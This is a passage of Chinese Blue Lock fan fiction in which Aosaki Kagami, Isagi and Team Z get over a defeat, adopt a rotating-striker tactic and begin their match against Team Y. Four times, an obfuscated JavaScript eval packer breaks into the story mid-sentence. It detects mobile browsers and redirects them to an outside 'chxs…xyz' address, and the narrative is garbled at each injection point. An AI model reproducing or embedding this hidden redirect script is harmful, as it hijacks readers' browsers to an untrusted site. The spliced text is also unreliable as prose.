「喂喂,苍崎镜,这么喜欢助攻就滚去踢一辈子中场好了,还是说你对自己的期望就是一辈子只给洁世一传球?」 想象中的绘心甚八居高临下地站着,手指带着强烈的压迫感唰地指向他。 「我的指示只有一个:想办法创造更多的进球。」 结果到最后,这个监狱长还是没解释为什么这么安排啊! 带着不甘心的心情,镜面朝下扑进柔软的地铺里,抱着被子翻过身盯着天花板,被管控虽然让他很不好受,但那些话语里提到的事实又让他无法忽视。 苍蓝色的眸子微微眯起,在昏暗的寝室里反射着门缝里透进的微光。 不知不觉,他睡熟过去,等到意识回笼后却感觉到耳边有人在讲话: “哇!真的没呼吸欸!” “没呼吸还能活着?这算什么体质?” “就跟心脏在右边的人一样吧。” 成为话题中心被人纷纷议论的感觉让镜睁眼坐起,一时不知该作何表情面对眼前一脸看外星生物的蜂乐、国神、洁。 不知何时,Z队的比赛已经结束,三三两两地聚集在寝室。 “怎样,赢了吗?”和整整三双眼睛对视两秒,镜第一时间问出自己最关心的问题。 这时洁世一才想起自己蹲在睡熟的镜旁边的原因。他放轻呼吸,试探性地观察镜的反应:嘴唇微抿,瞳孔放大,上身稍稍前倾等待着他的答案。这一切后面是呼之欲出的是他的渴望:是赢了吗?我们赢了吧? 把结果说出来,肯定会得到镜失落的眼神吧。但就算隐瞒又能隐瞒几时? “抱歉,在镜下场后,”洁斟酌着语句,“本来进了一球,我们取得了优势。可是后来被马狼进了两球。” “唔。原来如此,4:3。”镜放开被他抱了一整个午睡时间的被子,站起来。 “等等,镜,你要去哪里?”洁问道。 “去吃饭。”镜头也不回地说。 餐厅内,人有点多。 排名上升之后午餐也变得丰盛了,今天的菜品是酱油煎饺,优点是量大管饱。 镜边咀嚼边思考着眼下的情况,洁忽然出现在他身边,双手献上他的纳豆。 “真的很抱歉,镜!”说着,洁再度把纳豆往前推了推,“虽然不值钱但我只有这个东西了,请用!” 看着眼前鞠躬作道歉状的「搭档」,镜默默捡起掉在桌上的筷子。 他想了想,问:“……什么情况?” 国神端着盘子走过来,大大方方地把午餐放到镜的旁边。 “这家伙非要认为失败是自己的错,要跟你道歉。”国神替洁无可奈何地解释道。 “O-O,唔?”苍崎镜理解不能。 蜂乐突然出现,跳上洁的后背,一阵兵荒马乱后,镜伸手以一个高难度动作接住洁险些命丧当场的午餐,洁被蜂乐突袭,惊慌失措地扛起不属于自己的重量。国神稀奇地目睹全程,赞叹地「哦」了一声,感慨了一句「还能这样?」。 “唔。不要浪费食物。”镜把洁的纳豆、米饭和汤放到对面。 “抱歉抱歉~”蜂乐乐天地笑着,“只是,这里好多人哦,是要聚餐吗?带我一个吧?” 镜看了看自己的酱油煎饺,皮薄馅大的饺子散发着咸香的气味,几撮翠绿的葱花作点缀,最重要的是表皮金黄的色泽,这样的几十个饺子整整齐齐地码放在一只洁白的大盘子里,很难让人说出拒绝它们的话。 镜忍痛地说:“好。给我留一点。”他还挺想吃这个的。 一人贡献一点食物,属于Z队四人的草率聚餐就这样开始了。 “我不想吃牛排。”镜默默避开放到眼前的餐叉,“最近肉吃得有点多,吃腻了。” “啊,高排名的家伙发表的过分发言!”蜂乐气鼓鼓地指责,把牛排吃掉,又趁镜不备抢走一只饺子塞进嘴里,口齿不清地说:“那我就不客气、不客气了,唔唔。” 镜指出这种说法的不合理性:“明明蜂乐的排名也不低吧。”说完,他陷入沉默。 自己的高排名没什么好得意的。排名再怎么高,也只是个被「流放」到底层的没有前锋天赋的人。 要怎么完成绘心先生下达的不合理任务是一件事,但还有另一件事要优先处理。 镜放下筷子,问:“所以,洁,那句「抱歉」是什么意思?” 从「献上纳豆」后就一语未发的洁世一蓦然抬头。 镜疑惑地歪歪脑袋,“洁?” “我们输给了X队。”洁只是说道,“明明中间还取得了优势,结果却……抱歉。”双拳紧握放在腿上,肩膀紧绷。 “赛后久远分析过,想要留下来,失败两场就是最后的底线。”国神插话道,“你当时不在,可能没有听到。” 镜靠在椅子上,指出道:“我还是没太明白。失败一场比赛和「抱歉」有什么关系?” “因为被我们猜到了哟。”蜂乐摇晃着手指,“镜和洁的「搭档」关系。” 镜在医务室休养时,进球之后,凭「直觉」带领球队进球的洁被Z队围在中心。 成早兴奋地凑过去,“喂喂,洁,你说的「直觉」真的有用!不过,”他露出怀疑的表情,“「苍崎提起过」是怎么回事?” 久远点点头,“还有「任务完成」。这话应该也有人听到吧?” 还有过于浓厚的关注、超出一般队友程度的密切相处,这两人的关系被众人像是翻阅卷宗一样你一言我一语地挖出。 最后,洁世一不胜其扰,被迫将两人私底构成的「搭档」关系袒露而出。 “唔……我懂了。”镜消化了信息,“也就是说,大家都知道我做了什么了。” ①利用规则,选择「洁世一」作为搭档 ②用比赛和自己的行为「加速」搭档的进化 ③实现「神秘又阴险(众人语)」的未知目的 想清楚后,镜平静道:“挺好的,反正我刚刚收到「命令」,不可以太过于依赖洁。大家知道这件事正好省去我自己做解释的时间了。” 苍崎镜也终于明白,洁的「抱歉」,是出于接过他传递过去的「司令塔」一职,却没能给队伍带去胜利的愧疚与不甘。 好意外。难不成洁是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988070|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种太看别人脸色的人?* “洁,说实话,失败也在你的预料之中吧。”镜说,“胡闹的开场、勉强的进球、少人的作战,马狼不是白痴,被他抓住机会是预料之中的展开。” 看着洁并没有变得开朗的脸色,镜意识到了什么,认真地问: “还是说,洁在意的是别的事?” 熟悉的监控室,送走苍崎镜后帝襟杏里回到了自己的岗位。 “绘心先生,又在吃泡面啊。”她有些担心绘心甚八的营养,“这样不会不健康吗?” “杏里,吃泡面不健康只是传言。”绘心甚八只是这样说。 追求健康有序生活的帝襟杏里只觉得自己一辈子也没法认同绘心甚八的生活方式。 ……一辈子。 想到绘心甚八托她转达的话,帝襟杏里问:“绘心先生,有个问题能为我解答吗?” “唔唔。”绘心甚八头也没回,敲敲自己的脑袋,“是232号的事吧。” “是的。虽说苍崎镜这名选手还有很多不足,”帝襟杏里看向一号监狱的画面,那里聚集着整个「蓝色监狱」最优秀的一批球员,“但是只凭「前锋的才能」这种抽象的理由就对他进行否定,是否有些太过于武断了?” 绘心甚八说:“杏里,我在给这些球星原石做基本的理论阐释时你不在吧。” 帝襟杏里一愣,那时自己的确和苍崎镜在一起。没办法,作为「蓝色监狱」的负责人她没法放心受了那种伤的苍崎镜一个人在监狱里行动。 于是,绘心甚八开口:“你觉得,让「蓝色监狱」的足球发生质变的是什么?” “这个,”帝襟杏里搜刮着记忆,复述此前绘心甚八的话语,“是「利己」?” “没错。”绘心甚八说,“所谓「利己」,就是将球场上的一切条件都以服务自己为目的组织起来,而配得上「利己」二字的,只有有着出众能力、能创造进球的前锋。”* 绘心甚八张开左手,「蓝色监狱」各个选手的数据似乎就在他的指尖延展开来。球员被分为各种类型与等级,被剥离人格与感情,被作为纯粹的足球选手评估和筛选。 “至于没有那种才能的人,就只能围绕着有才能的人争取队伍的胜利。这就是现实。” “这种安排听起来会让人觉得不公平。”想到记者们的评价,帝襟杏里说。 “哈?那又怎样。足球本来就是个不公平的世界。”绘心甚八说。 拥有天赋的人和没有天赋的人; 才能出众的人和平平无奇的人; 如鱼得水的人和疲惫不堪的人; 备受瞩目的人和无人问津的人; 因为足球而聚集在同一片绿茵场上,因为欲望而角逐荣誉与名利,因为实力的差距胜利或败北。 绘心甚八晃动着筷子,理性地判断: “232号是目前的「蓝色监狱」最需要激发「利己主义」的人。直到他的利己展示出来之前,我都不会认为他是个能担当前锋的选手。” 绘心甚八的心里有着一幅关于「蓝色监狱」清楚的蓝图;就如同「进球王可以无视队伍胜负留下来」是为了激发所有人的「利己」而制定的规则一般,「必须让不同的搭档都能够进球才可以留在蓝色监狱」,就是以绝佳的「不公平性」专门激发苍崎镜一个人的「利己」而制定的补充规则。* 在他的设想里,苍崎镜会在这不公平的规则里出现三种可能: ①继续现在的踢法,做个不合格的前锋,直到被更具「利己」特质的人淘汰。 ②改变踢法,把那种头脑真正用在让队友辅助自己进攻上面,实现作为前锋的「质变」。 或者③:挖掘辅助队友的潜力,从不合格的前锋变为颇具天赋的中场。 工具、反派、司令、大脑——绘心甚八从不否认球员的可能。 面对存在诸多不同「可能」的苍崎镜,绘心甚八制定了无比之多的用法。 只取决于苍崎镜这个选手自己要选择怎样的未来。 五号监狱,餐厅,苍崎镜看着洁世一。 此刻,自己这位「搭档」明明在表面上一如往常,不知为何,却让他有些陌生。 “洁,我不明白。”镜追问洁道歉的缘由,“告诉我原因吧。” 洁的脸上流露一抹不安,但当他看到镜眼中的平静,便又坚定下来。 “这么说有些过分,但是……” 镜看到,洁看着自己的眼神变了。他看着自己的眼神有种翻涌的渴望,那想要「吞噬」什么的漆黑让镜浑身颤抖。 “我没能把镜留给我的武器利用起来,我觉得如果我做得更好一些,也许就能赢。” 洁世一、就这样看着苍崎镜。 “镜也是希望我能「利用」你,才那么努力地在比赛里踢球吧?” 这略带自负的话语,隐含着对才能毫不掩饰的欲望;被窥伺着、被渴望着,由此而生的本能恐惧和难以按捺的兴奋连带着「洁世一」这个名字占据了苍崎镜的心。 让那个「补充规则」滚一边去吧。苍崎镜在心里发誓。我期待了那么久,现在眼前终于出现了一个了不得的家伙。连他进化的终点是什么我都不知道,连他能踢出什么样的球我都弄不清楚,谁要在乎那碍事的补充规则说了什么东西! 苍崎镜轻声说:“如果是这种原因,那我就接受你的道歉吧,洁。” 苍崎镜推开椅子,回以洁世一一个洋溢着期待和快乐的微笑。 “不过在道歉后,要更努力地、踢出更了不起的球哦。” 16. 「司令塔」 镜回归后,当晚的Z队寝室里,全员到齐召开了有关一下场比赛的战术研讨会。 “首先,”久远拿笔尖点了点纸面,“苍崎,你的伤怎么样?” 镜原地起立蹦跳感受了一下,“有影响但不多,当我没事就好。” “真的吗?不要为难自己哦。”久远担忧地将镜的情况记录为「无恙」。 虽然怀疑这些说辞的真假,但是球队已经不能再接受少人作战带来的影响了。 “好。下一件事。” 久远盘腿坐下,笔记唰唰翻页,停在了中间特殊的一页上。 “关于绘心提到的「武器」,我顺着这个思路考虑了一下,有了制定战术的灵感。”久远挨个看向Z队的十人,“需要大家提供自己的情报完善这个战术。” “提问。”镜举起手。 “好,请问!”误以为镜是要问出什么有水平问题的久远用笔尖一指。 镜不会读气氛地问了一个白痴问题:“你们说的「武器」,那又是什么时候的事?” 全场静默,洁世一揪着苍崎镜的睡衣衣袖,小幅度地把他拽到一边。 “大家继续讨论,这事我来给镜解释。” “那就拜托你了,洁。” 久远接受了这个提议,向众人展示自己的笔记,说:“总之,是这个样子——” 镜深感奇怪。 “所以到底是怎么回事啊。” 洁招呼他凑近,在镜耳边描述当时发生的事;镜乖乖侧耳倾听,时不时若有所觉地点头。 “唔,是这样啊。”镜确信道,“趁我不在的时候,绘心先生公布答案了吗?” 洁吐槽道:“倒也不是趁你不在啦……不过公布答案这个比喻确实不错。” 把洁的说明整理一下,就是说:在与X队的比赛结束后,绘心先生在休息室的电子屏幕上出现,指出了「让球队产生秩序,发生进化的是突出的个人能力」的理论。唔,和自己的猜想差不多,做的不错,给自己一个95分。 弄清楚后,镜再次举手:“久远,提问。” 久远顿了顿,中止在另一边的说明,无奈道:“好,请问。不是刚才的问题了吧?” “久远说的战术灵感是什么?” 太好了,这次是有用的提问。久远松了口气,向镜展示自己的笔记,自信地介绍: “看吧!这就是我的战术构想,我命名为「下一个到我十一人」战术!” 洁:“……” 镜:“……” 这个名字是? 成早出声说:“想吐槽的话就吐槽吧,我们刚刚已经吐槽过了。” 镜看着久远骄傲的神采,放弃吐槽的欲望,在久远的解释下学习起图上的阵型。 总而言之,排除名字的问题,「下一个到我十一人」战术的核心就是挖掘每一个人的能力所在,围绕各自的进球「武器」制定战术,均分一场比赛的九十分钟,在谁的时间里其它人就要为这个人的进球服务。 “而且,我们一致决定将第一个10分钟留给你,苍崎。”久远鼓励道,“那10分钟里,所有人都会为了你的进球努力的。” 镜意识到了什么,呆呆地问:“是因为我的「补充规则」吗?” “没错!” 久远肯定道,向镜解释这个战术的好处: “虽然出发点是为了让大家配合起来,但是为了能让你放心地给队伍贡献力量,专门针对这点做出了调整。全队状态最好的10分钟划分给你,可以接受这个战术吗?” 镜想了想,发现这个怪名字战术意外能满足他的需求。 “……你是这方面的天才啊,久远。”他夸赞道,“但是,我需要做什么?”天下没有白捡的好处,让队伍为自己妥协的代价是什么? 久远放下笔记本,严肃道:“我希望在10分钟结束后,你能一直坐镇中场,作为「司令塔」组织调度剩下九人的进攻。” 从对抗X队的表现来看,如果说谁最有能力让现在的Z队运转起来,无疑就是苍崎镜。 镜看着天花板想了想,“也就是说,Z队需要我的「脑力」对吧。” “是的。这个做法会很辛苦,需要你记住所有人的「武器」和配套「战术」。”久远鞠躬道,“但是你是最合适完成这件事的人,所以拜托你了,苍崎。” 镜无动于衷,他看着地面问:“这是久远自己的愿望,还是所有人的愿望?” 这是Z队的人为了胜利和自己进球,向苍崎镜做出的等价交换。 久远回答:“到刚才,除了千切、伊右卫门和跟你解释情况的洁,所有人都同意了。” 镜看向千切。 “我是后卫。”千切抱着膝盖,格格不入地坐在一边,“整场都是,不用管我了。” 镜看向伊右卫门。 “足球比赛没有守门员是不行的吧……”伊右卫门憨厚地挠挠头。 最后,镜看向洁。 理解了久远提出战术的用意后,洁点点头。 “我觉得可以试试。” 镜突然转坐为蹲,一语不发地起立,走到久远旁边。就在所有人都以为他要冷酷地拒绝,留下类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988071|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似「让我助攻80分钟,好处只有这点?把我当傻子吗?拒绝」的话时,镜朝久远伸手。 “很有趣的安排,而且有可能有效。”镜说,“所以我想再看看久远的笔记。” 久远涉呼吸一滞,冰冷又不知道他在想什么的镜用平静却真诚的语气赞美他定下的战术(而且没有吐槽名字),这一幕让他无比感动,深深地认为自己是被成见影响,误判了苍崎的个性。 “看。”镜坐在地上,久远站在他身后,适时地指出一些问题,“这个战术目前还在灵感阶段,但是有大家的配合就没问题了。只差弄明白我们各自的「武器」是什么。” “「身体素质」和「直觉」。”镜的回答不假思索,眼神没离开笔记。想到什么后,他看向久远,“不过像这场比赛那样暴力地使用——唔。我想想,最多一次。” 苍崎居然还想有一次?久远笑着说:“哈哈……一次都不会再有的。” “你是妈妈吗,久远。”镜把医生的叮嘱抛到九霄云外,摇摇头说:“感谢你的关心,但没必要这么溺爱我。” 久远无奈地笑,“欸?这个叫溺爱吗?”哪怕是队里最暴躁的雷市也会认为这只是正常的保护队员吧? 过了几分钟,镜抬起头来,而久远的手搭在他的肩膀上,“我明白了。”他说道,轻轻抬起久远的手,拿着笔记从地上缓缓站起来,平静地宣誓道: “各位,既然你们选择了我,我就会拼尽全力,只为不负所望。我会想办法让各位都发挥出120%的实力,让Z队获胜。也提前感谢各位为了让我完成任务为我做出的奉献。” 镜屈起食指,以指节轻敲笔记,透露着漫不经心的眼里汇聚起执着的信念。 “但是,事先说好,为了胜利,也为了我自己的目的,我会很严厉,会把你们管教得哭出来也说不定。到时候,谁都不许因为接受不了而逃跑。” “第一件事,久远。”镜把笔记塞给久远,原地坐下,“先把大家的「武器」调查一遍。” 堪称态度光速改变的范例。久远半是吐槽半是疑问: “虽然本来就是我要做的事,不过,苍崎你不打算做这件事吗?” “我可没有定下「下一个到我十一人」战术的你了解这个战术。” 在众人并不知道的时间节点上,苍崎镜已经全情投入了这个计划。 “用这个战术和各位的武器战胜Y队,洗刷败绩。唔,我很喜欢这个「目标」哦。” 把舞台让给久远,最后,镜表演似的向众人轻轻地敬了一礼。 “Z队,请多指教。” 17.夜 入夜,寝室内回响着鼾声。隔壁放映室内,镜咬着手电,借着一束射向前方的光看清白色的战术板,他拿着一支马克笔在白板上面飞速地书写,笔尖摩擦板面,发出了细微的响声。 蓝色眼眸目光炯炯,对战Y队的胜算在这分秒间畅快地流淌而出。 差不多结束了,镜站在战术板前,盖上笔帽。身后传来动静,镜回过头去,放映室的门打开了一条缝隙,洁站在门后,顶着蓬乱的短发,似乎在犹豫要不要走进来。 镜看了看亮起的手电,“唔。是我吵醒你了?” “不,只是从厕所回来偶然看到了。”洁站在门边,目光移到镜身后写满文字的白板上,“那些是和Y队的比赛时要用到的战术?” “只是一些想法而已。经过明天的训练赛才能看出有没有用。” 镜说道。转身捡起地上的水杯,冲洁举起来。 “我去打点水。一起吗?” “啊。”洁同意道,“一起吧。” “这么晚没睡,不会没精神吗?” 将打满饮料的水杯放在手边,洁抽出纸巾,擦擦手,把水杯递给镜,问道。 “没关系的,我的睡眠时间很短。”镜接过饮料,咚地坐在椅子上,微微仰头,将杯口对准嘴唇,“谢谢你的关心,洁。” 水流进肚,干渴的喉咙得到润滑。镜擦干嘴角的饮料,抬眼看向洁。 “在紧张吗?”他忽然问。 听到镜的话,洁走到他身边坐下,半阖着眼,凝视着陷在黑暗里的脚尖。 “还是被你发现了啊。”洁无奈地说。 “首先,你现在的处境是大家有目共睹的东西;其次,因为我一直在关注你,洁。” 镜想了想,淡淡地解释道: “你是我选择相信的人之一,我期待你,所以一直都在看着你。” 洁艰难地抬起头来。说实在的,听起来有点可怕。 镜坐在椅子上,表情平静,不知道在想什么。 “洁,虽然从那一眼里,我已经看出了你的「进化」,但是,我还是问你一下,”镜问道,“你「看到」那东西了吗?” “那东西?” 镜的话将洁的意识催眠般带回到当时的球场上。 “是第三次进球那时……” “嗯。”镜期待地问,“看到了吗?洁,我说的「那东西」。” 「那东西」——随着比赛的进展,总会在某一时间出现在球场上的「进球区域」。 不管是巴士里坚定不移的「自信」,还是ROOM-Z淘汰赛中「漂亮」的一球。 都让人期待起洁世一的未来。 “来吧,去抓住那种感受。”久久没有回复,镜顺着心底的冲动抓起洁的手,拽着他朝训练室走去。 睡前召开的战术会议,已经让镜知道了所有人的「武器」。而洁给出的答案,是模糊的「直觉」。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005086|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “洁,我说过的,我的目的,是想看到你踢出「不一样」的球。”将球停在脚下,脑中回想着先前洁踢出的球,镜做好准备,“来试试吧,用你的「直觉」和我较量一下。” 说完,镜带球冲了上去,洁从内侧拦截上来,朝向球门的传球路线被封堵,镜暂时将球停在脚下,提醒道: “看好。我要过掉你了。” 镜低下头,视野收缩到足球周围,凝视着以脚尖为圆心半径半步的区域。 看起来,洁的注意力也回到了球上。那么来吧,三、二。 镜重心微晃,同时足底触球,将足球在草坪上搓动一段。在洁挪动脚步,试图防守的瞬间,内脚掌磕上足球的边缘,连球带人从洁的左边过去了。 “然后,洁。”镜将球停住,对洁投以视线,“在这个位置,你来进攻。” 防守的人变成了镜。 “大概就是这个距离,”镜用身体拦住洁正前方一条射门的路线,“在我身后偏向左边的位置,那一带「空间」,你能看到吗?” “啊,能够看到。”在洁世一的眼中,球门左侧的一片区域正微微发着光,散发着让人欲罢不能的「进球」的气味。 好想过去,好想去到那里。 洁世一的心声这样告诉他。 “果然。”镜忍不住按住洁的手臂,认真地看着他,“洁,我有预感,在和Y队的比赛里,我们会踢出「了不得」的一球。” 18.Y VS Z 一日后,Y队与Z队的比赛开始。 球场上,久远拍着手走到队伍中央,介绍眼下的情况。 “总之,对面和我们一样,输了一场,已经无路可退。”他说道,看向对手球队中金色莫西干头的高个球员,“对面的9号,熊本的进球王大川响鬼,是需要重点盯防的角色。开场以后由苍崎作为前锋主导进攻,剩下的人按排名每10分钟轮换。都没问题了吗?” 首先是镜的「第一个10分钟」。 “苍崎,你的进攻时间里,需要我们怎么配合你?”久远问道。 昨夜又是晚睡,醒来这么久身体还是有些怪异。 镜揉着脖子,“没什么要求。以我为中心的话,把球往我的方向传就行。” 比赛开始,Z队开球,足球滚地,被蜂乐传到镜脚下。 不愧是蜂乐,很舒服的传球。 镜脚尖触球,没有任何阻滞,马不停蹄地从己方半场开始带球突进。 镜轻轻呼气,轻轻吸气,在这有节奏的呼吸声里,抬眼扫过面前的Y队防线。 前方有一人拦住,个头很高、完美地拦住了自己的前进路线,站在距离自己三步远的位置等待自己进攻,没有贸然上来抢断。 镜快速观察周围。他发现,在这个人身后的位置,包括守门员在内有三层防守,这意味着不管从哪个位置突破,突破之后,都很难有射门空间。 “……铜墙铁壁。” 镜带球逼近了最前方的防守队员,他停住球,在对方压迫上来之前传出了球。 足球落在蜂乐脚下,出色的盘带,目不暇接的假动作,左侧转瞬间被过掉一人。 镜从右侧跟进,在一个不远不近的位置接应,盯防他的防守队员死死尾随着他。 “左路8号!”Y队的守门员提醒道。 随着这声提醒,镜看到Y队的防守资源肉眼可见地朝蜂乐在的左路倾斜。 镜眯起眼,“一、二……然后,三。” 镜在右边看得清清楚楚。先是两人限制路线,再让第三人上来抢球。是蜂乐的技巧让他有机会把球回传给毛栗,但是那种程度的防守,真的是正常情况吗? 试探一下。镜朝身后比出手势,起步加速,从中路冲进Y队的防线里。 “喔,那个手势是要球吧!” 五十岚栗梦准备起脚,Y队迅速调动中场的一人截断他与镜中间的连线。 “这边!”蜂乐招手示意,接住五十岚栗梦传来的球后,带着兴奋的笑容重新寻找起前场的镜,“是这个意思吧,我能懂哦——” 与此同时,镜在前场奔袭,一路无人阻拦,放任他接近禁区。就好像认定他不可能进球一样。 的确,身陷中场的防守圈内,周围都是Y队的队员。按理来说,我不可能得到传球。 这样想着,镜忽然停步,俯身卸力后急转朝边线疾跑,斜插进两名防守队员之间的空档,距离角球点越来越近。 “右边路!7号!”守门员一挥手道。他不敢放松警惕,尽管那个位置不好,还是提醒Y队队员注意。 这样,中路就让出一条「勉强」够一人通过的缝隙了。 防守蜂乐的球员只觉得脚下一凉,带球突破的气流卷过自己的脚踝,回头时只能看到蜂乐踩着那条「缝隙」前进的背影。 他咬牙,喊道:“抱歉!中路左侧8号!” 听到这声求救,Y队的第二层防线如机器般开始运转,像之前一样堵死了蜂乐的前进路线,第三人开始上前逼抢。 “唔哇,真的好多人,”蜂乐笑着起脚,足球越过眼前的球员飞向角落,“抱歉抱歉,现在,球不在我这里啦~” 在球场边缘游荡的镜闪身撞开身前的手臂,朝传向禁区边角的足球跑去。 足球落在禁区边缘,带着旋转触地,轻轻弹起。迎接它的是苍崎镜的一脚重射。 速度很快、弧线不明显,这脚射门指向球门的左上方。 然而,Y队一名后卫前扑,在禁区内距地半米处用身体拦住了这个球。 “防住了。”镜看了眼被队员扶着从地上站起来的后卫球员,若有所思地回撤。 “二子!” 拦下这个球后,Y队的另一名球员立刻上前抢下球权,迅速将球推给边路的队友。 球,平稳地停在「二子」的脚下。 二子被数个球员围住,表情不显,长长的黑刘海遮住了他的眼睛。 ——危机感悄然弥漫。 二子微微扭头,寻找起他和大川响鬼之间穿透Z队防守的一条「连线」。 大川回头示意,面无表情地朝想象中最佳的进球空间跑动。 中路,禁区内。二子远传,足球在大川的脚面一碰,服服帖帖地下落。 “谢了,二子。”Z队的防线被甩开,大川念叨着,得意地扬起嘴角带球直奔前方。 可是,大川响鬼忽然感受到了不一样的动静。 那不是错觉,有什么东西在逼近,似乎真的有谁追上来了。 大川咬咬牙加速奔跑,试图将那身份不明的追兵甩开,他专注于脚下的足球和眼前的守门员,在踏入禁区的刹那,起脚射门。 但也就是在他起脚的瞬间,阴魂不散的「追兵」和大川响鬼擦肩而过,后仰起跳。 “7号——?” 他忍不住回头,测算从边角到禁区的距离。他是在二子传球之前就料到了之后的发展,全速前进跑回来的吗? 足球重重砸在镜的额头上,朝球门倒飞而去,在路过门柱时被伊右卫门抱在怀里。 “呃、蜂乐!”伊右卫门犹豫了一下,考虑到技术因素,将球遥遥抛向前场的蜂乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012622|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜在地上滚了两圈,撑地站起,在Z队反击的浪潮里拍了拍沾上尘土的球衣。 “大川,你们的战术,真的很眼熟。”他跟留在这半场的大川搭话道,“我高中时的球队也经常这么打。顺便一提,那时,我在你现在的位置。” 大川喘了喘气,缓解进球被防出的愤怒和不甘,“是吗。你到底想说什么?” 镜站在大川身边,视线却像被什么东西吸引似的,投向对面半场安静沉默的二子。 “我只是想说,防守反击的话,要是负责「反击」的人被防住,就没用了。”镜看向大川,问道:“你们队里的「大脑」,唔,刚才叫的是「二子」吧,他很信任你吗?” 大川勾起嘴角,恼火道:“你这混蛋,别仗着有名就把我当外面随处可见的家伙。” 啊,询问被当成挑衅了。镜顿了顿,转身道:“总之,各自加油吧。” 随着前场燃起反击的狼烟,属于镜的最初的10分钟就这样流逝。 镜退后到中场的位置上,虽然和大川的距离变近,但和Y队球门的距离却变远了。 球回到苍崎镜的脚下,现在的前锋是Z队排名第二的蜂乐回。 比赛开始前,镜拿着从久远那借来的笔记,摊开在蜂乐面前。 「蜂乐,如果没记错,到时候和Y队的比赛里,我的10分钟结束后,就轮到你来负责进攻吧?」 「嗯?是哦!」蜂乐盘着腿,好奇地凑过来,「怎么了吗镜?」 「这样啊。那么,」记忆里的镜圈出笔记上的词,露出浅淡的笑容看着蜂乐说道:「尽情享受吧,你的10分钟。」 球场上,镜轻轻呼出一口气,调动起相关的信息,将思维转换到配合蜂乐进攻的模式。 尽管用自己的10分钟确定了对方的战术是防守反击,不过,在输两场就意味着失败的处境里,遇到对手和自己实力相当,是一定要赌一把进攻得分的。 「司令塔」,开始运作。 “试试看,你们的防守和我们的进攻,”镜抬脚将球传给蜂乐,“哪个更强。” Z队压上,镜一边奔跑,一边盯视边线不起眼的二子。 感受到这股视线,二子回视过来。两股视线撞到一起,而后,镜被侧面防守的球员遮挡,消失在二子的视野中。 “……”二子默默转头,明白了那股视线的真正含义,“被看出来了。” 算了,这种情况早预料到了。二子刘海下的碧绿眼睛里滑过冷静的眸光。那就用第二种方法吧。 在二子一挥的头脑中,整片球场清晰无比,甚至连每个人脚底踩过的草叶都分毫毕现。 作为Y队的大脑,输给V队后,二子为战胜Z队制定了足够丰富的战术。到目前为止,包括想法被对面看破在内,球场上的进展仍在他的预想之中。 19.眼睛 蜂乐的「武器」,是远超众人的盘带。 镜将球传到蜂乐脚下,在蜂乐接球前往对方半场后跟上接应,同时在心里默默盘点众人的特长。 除此以外,现在的Z队,有的武器是:国神的「远射」、久远的「跳跃」、雷市的「体能」、我牙丸的「柔韧」、久远的「前插」,还有洁的「直觉(空间认知能力)」。 球场上,镜轻盈地移动着。他什么都不必想,只需要在蜂乐附近行动,被三人包夹的他就会自发地将球传给自己。 弧线相当漂亮。镜用脚尖停球。这种配合,比之前接近自己想要的感觉了。 「这样做吧,二过一……」 蜂乐不停跑动,晃过一名防守队员。镜看着他的跑动路线,想法发生了转变。 「不。总觉得蜂乐想要的……」 「是这样的传球。」 Y队上前逼抢,镜没有犹豫,往蜂乐身前三步的位置传出一球。 足球在空中划出轨迹。 这一球有点难度,但是位置很好。如果能快速突破最后防线,就可以直面门将。 “很有趣呢。”蜂乐迈步,停球,笑着看向球门。苍崎给他的「暗示」他完完整整地明白了,这么有趣的「挑战」,不接受是不行的吧? 后卫压力很大,死盯着足球不放。看起来,并没打算简简单单地放蜂乐过去。 “都说了——” 蜂乐带着玩乐般的音调,将足球托在足尖,朝右边——再突然朝左,成功过人。 “一个人是拦不住我的哦!” 他观察身边,射门空间在慢慢减少,干脆抓住最后的机会朝死角射门。 守门员的指尖拦在足球上,将这一球扑了出来。 “唔哇!”见状,蜂乐顿住脚步,向足球的落点跑去,还有机会,还能再来一次。 “解围!解围!”他撑在地上喊叫道。 